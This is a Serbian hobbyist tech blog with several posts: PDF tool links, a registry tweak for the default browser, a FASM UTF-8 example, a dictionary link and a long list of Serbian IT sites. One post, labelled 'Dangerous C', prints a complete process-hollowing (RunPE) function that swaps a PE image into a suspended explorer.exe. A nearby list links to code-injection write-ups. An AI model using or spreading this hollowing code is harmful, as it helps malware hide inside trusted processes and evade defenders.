Thursday, September 6, 2018

Reduce PDF Size * Smanji PDF

Reduce PDF Size * Smanjivanje PDF-ova:
http://www.reducepdfsize.com/

MERGE Multiple PDF's - Spajanje nekoliko PDF-ova i ostali PDF alati:
https://pdfsam.org/

Virtual PDF Printer driver for old Windows 7, 8 and 8.1 
http://www.dopdf.com/sr/download.php

Windows 10 have built-in Microsoft virtual PDF printer driver.

More Tips & Tricks:


In Notepad++ or PSPad create this tekst file:

default-internet-browser.reg

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\http\shell\open\command]

@="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\""

Run this file with windows administrator rights.



//Dangerous C
//------------------------------------------------------------
//-------- C
//---------- C Process hollowing runpe technik


void RunPe( wstring const& target, wstring const& source )
{
    Pe src_pe( source );        // Parse source PE structure
    if ( src_pe.isvalid )
    {        
        Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
        if ( res.success )
        {
            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
            CTX->ContextFlags = CONTEXT_FULL;

            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
            {
                DWORD dwImageBase;
                ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target
                
                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                NtUnmapViewOfSection xNtUnmapViewOfSection;
                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                {
                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                    if ( pImageBase )
                    {
                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                        {
                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                            {
                                bool success = true;
                                for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                {
                                    // Get pointer on section and copy the content
                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    

                                    // Write content to target
                                    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                }

                                if ( success )
                                {
                                    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                    ResumeThread( res.hThread );                                                                    // Resume main thread
                                }                               
                            }
                        }                       
                    }
                }
            }

            if ( res.hProcess) CloseHandle( res.hProcess );
            if ( res.hThread ) CloseHandle( res.hThread );
        }
    }
}
...
RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );



Friday, August 31, 2018

Lepota je u malim stvarima

DCI metode





http://forumdc.org/konu-delphi-pe-injection-execute-pe-from-memory.html

https://cybercoding.wordpress.com/2012/12/01/union-api/

NcxNtTeb...
https://forum.tuts4you.com/topic/25821-delphi-peb-module-manipulation/

https://github.com/Fr0sT-Brutal/awesome-delphi

http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/advancedapihookingprocessinjectioncodeinjectionbyms-rem

https://stackoverflow.com/questions/26197493/delphi-code-injection

http://forum.lazarus-ide.org/index.php?topic=28456.0

https://migeel.sk/

http://www.rohitab.com/discuss/topic/4184-find-and-inject-into-exe-delphi-only/

http://www.nickhodges.com/page/Dependency-Injection-Series.aspx

http://www.madshi.net/

http://pasotech.altervista.org/delphi/articolo63.htm

https://torry.net/pages.php?id=347

http://delphisorcery.blogspot.com/2013/12/dependency-injection-best-practices.html

Thursday, August 30, 2018

Pišite zaštićeni tekst u Flat Assembler-u (fasm-u)

; example of simplified Win32 programming using complex macro features

include 'encoding\utf8.inc'
include 'win32wx.inc'

.data

_str du 'Ово је ћирилица Караџића Вука', 0
_str2 du 'hello world1!', 0Dh, 0Ah, 'hello world2!', 0Dh, 0Ah, 'hello world3!', 0Dh, 0Ah

.code

start:
invoke MessageBox, HWND_DESKTOP, _str2, _str, MB_OK
invoke ExitProcess, 0

.end start   



Ono što je super je da možete pisati UTF-8 tekst, ovaj kod nemojte ukucavati direktno u FASM editor, nego u Notepad, Notepad++, Atom, PSPad ili Microsoft Visual Studio Code.

Još jednom da ponovim, nemojte editovati kod u FASMW.exe ili Fresh.exe editorima (IDE-ima za assembler), što će reći, tu samo otvarate kod bez izmena, a editovanje prethodno obavite u PSPad-u na primer.

Ovo je iz razloga što FASM editor podržava samo Ascii unos teksta, ali u njemu možete otvoriti bilo koji enkodirani tekst, pa i UTF-8, samo ga nikad nemojte editovati direktno u FASM, nego u nekom drugom editoru. FASM koristite samo da otvorite .ASM kod i da izkompajlirate kod u EXE izvršni fajl.

Other Tips and Tricks:

https://www.fosshub.com/PSPad.html

https://flatassembler.net/examples.php

https://forum.tuts4you.com/topic/14111-delphi-to-fasm/

https://fresh.flatassembler.net/

Monday, August 27, 2018

Српско мађарски речник на мрежи

https://sr.glosbe.com/sr/hu



српски мађарски речник на мрежи











http://forumdc.org/konu-delphi-pe-injection-execute-pe-from-memory.html

https://cybercoding.wordpress.com/2012/12/01/union-api/

NcxNtTeb...
https://forum.tuts4you.com/topic/25821-delphi-peb-module-manipulation/

https://github.com/Fr0sT-Brutal/awesome-delphi

http://www.delphibasics.info/home/delphibasicscounterstrikewireleases/advancedapihookingprocessinjectioncodeinjectionbyms-rem

https://stackoverflow.com/questions/26197493/delphi-code-injection

http://forum.lazarus-ide.org/index.php?topic=28456.0

https://migeel.sk/

http://www.rohitab.com/discuss/topic/4184-find-and-inject-into-exe-delphi-only/

http://beogradsko.blogspot.com/2018/08/najbolji-linkovi-u-srbiji-oni-koji.html

http://beogradsko.blogspot.com/2018/08/najbolje-it-kompanije-u-srbiji.html


Најбоља српска канцеларијска апликација икада * Download



Najbolji linkovi u Srbiji - oni koji imaju šta da kažu

1Prijavi se na spisak ukoliko smatraš da bi trebalo da si na njemu. KONTAKT:https://mir-soft.yolasite.com/about.php active
2Aplikacija Otvarac i Tragac za WindowsNajpotrebnije kancelarijske aplikacije-Downloadhttp://beogradsko.blogspot.com/2018/06/aplikacija-vrabac-za-windows-7810.html active
3Najbolji blog o ITnajbolji blog u EX YU-Bloghttp://beogradsko.blogspot.com/ active
4Lazarus ideRAD for Windows, Linux, macOS, Android, iOS-RAD for Windows, Linux, macOS, Android, iOShttps://www.lazarus-ide.org/ active
5Talis LinuxNajsigurniji live OS danas-Za sto posto sigurno surfovanjehttps://tails.boum.org/ active
6Centos linuxNajbolji serverski OS-Idealan za LAMP programiranjehttps://www.centos.org/active
7WAMP ServerApache, MySQL, PHP za Windows-Idealan za web programiranje i dizajnhttp://www.wampserver.com/en/active
8TehnomanijaTehnomanija sajt-Prodavnicahttps://www.tehnomanija.rs/active
9BC Groupkoristan sajt-Prodavnicahttps://www.bcgroup-online.com/active
10Gigatronkoristan sajt-Prodavnicahttps://www.gigatron.rs/active
11WinWin Novi Sadkoristan sajt-Prodavnicahttps://www.winwin.rs/active
12Nonstop Shopkoristan sajt-Prodavnicahttps://www.nonstopshop.rs/cms/index.phpactive
13Puppy LinuxPortable live linux distro-veoma koristan linuxhttp://puppylinux.com/active
14Krstaricakorisno-vestihttps://www.krstarica.com/active
15TutorijaliVeoma korisna literatura-Uputstvahttp://tutoriali.org/active
16Informacijakorisne informacije-vestihttps://www.informacija.rsactive
17Dogriz bloginteresantno-Bloghttp://dogriz.blogspot.com/active
18Infossremac blogJoš jedan koristan blog-Bloghttps://infossremac.wordpress.com/active
19CD linuxVeoma mali OS koji radi sa cd-a, a dovoljan je za web surfovanje-Mnogo je manji i od Puppy i od Talis linux-a, a veoma je upotrebljiv.https://sourceforge.net/projects/cd-linux/files/CDlinux-ISO/0.9.7.1/active
20InfobokiIT blog-Bloghttps://infoboki.wordpress.com/active
21Capriolo bikebiciklovi-Prodavnicahttp://www.capriolo.com/active
22Program za deciji i roditeljski dodatak--Portalhttps://appc.fppd.minrzs.gov.rs/active
23SolidMIT-Novi decentralizovani internethttps://solid.mit.edu/active
24ELIVELIVE distro Debian like MacOS-Very nice OS. Predivan linux u svakom pogledu.http://www.elivecd.org/screenshots/stable/active
25TrueCrypt SuccessorVeraCrypt-Downloadhttps://www.veracrypt.fr/en/Home.htmlactive
26Kako napisati izveštaj--Teoretisanje jednog filozofahttp://mladilideri.rs/kako-napisati-upecatljiv-izvestaj/active
27wp temlejtiwp templates-WordPresshttps://colorlib.com/wp/template/balay/active
28advance mouse functionsUputstva za kodiranje-Delphihttps://www.thoughtco.com/advanced-mouse-processing-1058399active
29advance mouse functions2Kolekcija koda-Delphihttps://www.swissdelphicenter.ch/en/showcode.php?id=360active
30EPUB fajlovi e-knjigeE-knjige u EPUB formatu-Downloadhttp://www.epubfilereader.com/active
31VDI over browserdesktop app over browser-Downloadhttp://guacamole.apache.org/releases/active
32Interesantan blogJos jedan blog-Bloghttps://pedja.supurovic.net/active
33Interesantan blog2Jos jedan blog-Bloghttps://pedja.supurovic.net/kreiranje-pdf-dokumenta-u-php-sa-tfpdf-fpdf-i-fpdi/active
34sfsf-Downloadhttps://www.igdb.com/games/sniper-furyactive
35automat za dizajnera--Alathttps://divtable.com/table-styler/active
36automat za dizajnera--Alathttps://html-css-js.com/css/generator/text-shadow/active
37responsive wd--Uputstvohttps://www.w3schools.com/html/html_responsive.aspactive
38HTML editor--Alathttps://htmleditor.tools/html-editor/active
39PCPressict news-vestihttps://pcpress.rs/active
40Excel kuhinjaTutorijali-Uputstvahttp://excelk.com/sr/active
41Svet kompjuteraict news-vestihttps://www.sk.rs/active
42IT kutakict news-vestihttp://www.itkutak.com/active
43Saveti za freelanceza frilensere-Bloghttps://elancesrbija.wordpress.com/active
44PDF sam MERGEMERGE Multiple PDFs-Downloadhttps://sourceforge.net/projects/pdfsam/active
45XAMPPAPACHE PHP MYSQL STACK-Downloadhttps://www.apachefriends.org/download.htmlactive
46Tutorial 4 Excel VBATutorijali-Bloghttps://drakic.files.wordpress.com/2011/09/1-cas-predavanje1.pdfactive
47Slobodan softver za škole--Blog?http://www.slobodansoftverzaskole.org/active
48Slobodan softver za škole2Ugruženje ...-Blog?http://upissrbije.edu.rs/slobodansoftver.phpactive
49BUBBLE CUP MicrosoftStudenti...-Bloghttp://www.bubblecup.org/Archiveactive
50Drakic blog--Bloghttps://drakic.wordpress.com/active
51Damjanov blog--Bloghttps://damjanpavlica.wordpress.com/active
52Škola koda--Vloghttps://skolakoda.org/active
53Kristinin blog--Bloghttps://accordingtokristina.com/iz-bloggera-u-wordpress/active
54Rage2Doom ethernal--#active
55DM blog--Bloghttps://dusanmilosevic.comactive
56Start IT--Bloghttps://startit.rs/besplatno-ucenje-programiranja/active
57Delphi MUP APISmard Card Reader Licna Saobracajna--https://github.com/obucinac/mup-rs-api-delphiactive
58Delphi licne karteSmard Card Reader Licna Saobracajna--http://www.elitesecurity.org/t464849-Problem-CelikAPI-Licne-karteactive
59Android development---https://www.codeproject.com/Articles/800469/Starting-Android-development-on-Windowsactive
60vreme---https://www.accuweather.com/sr/rs/srbobran/298449/september-weather/298449?monyr=9/1/2018&view=tableactive
61MOJO PORTALMOJO PORTAL--https://www.mojoportal.com/featuresactive
62Lazarus Tips---http://lazplanet.blogspot.com/active

NADALJEVANJE (kaj bi rekel slovencov):

http://beogradsko.blogspot.com/2018/08/najbolje-it-kompanije-u-srbiji.html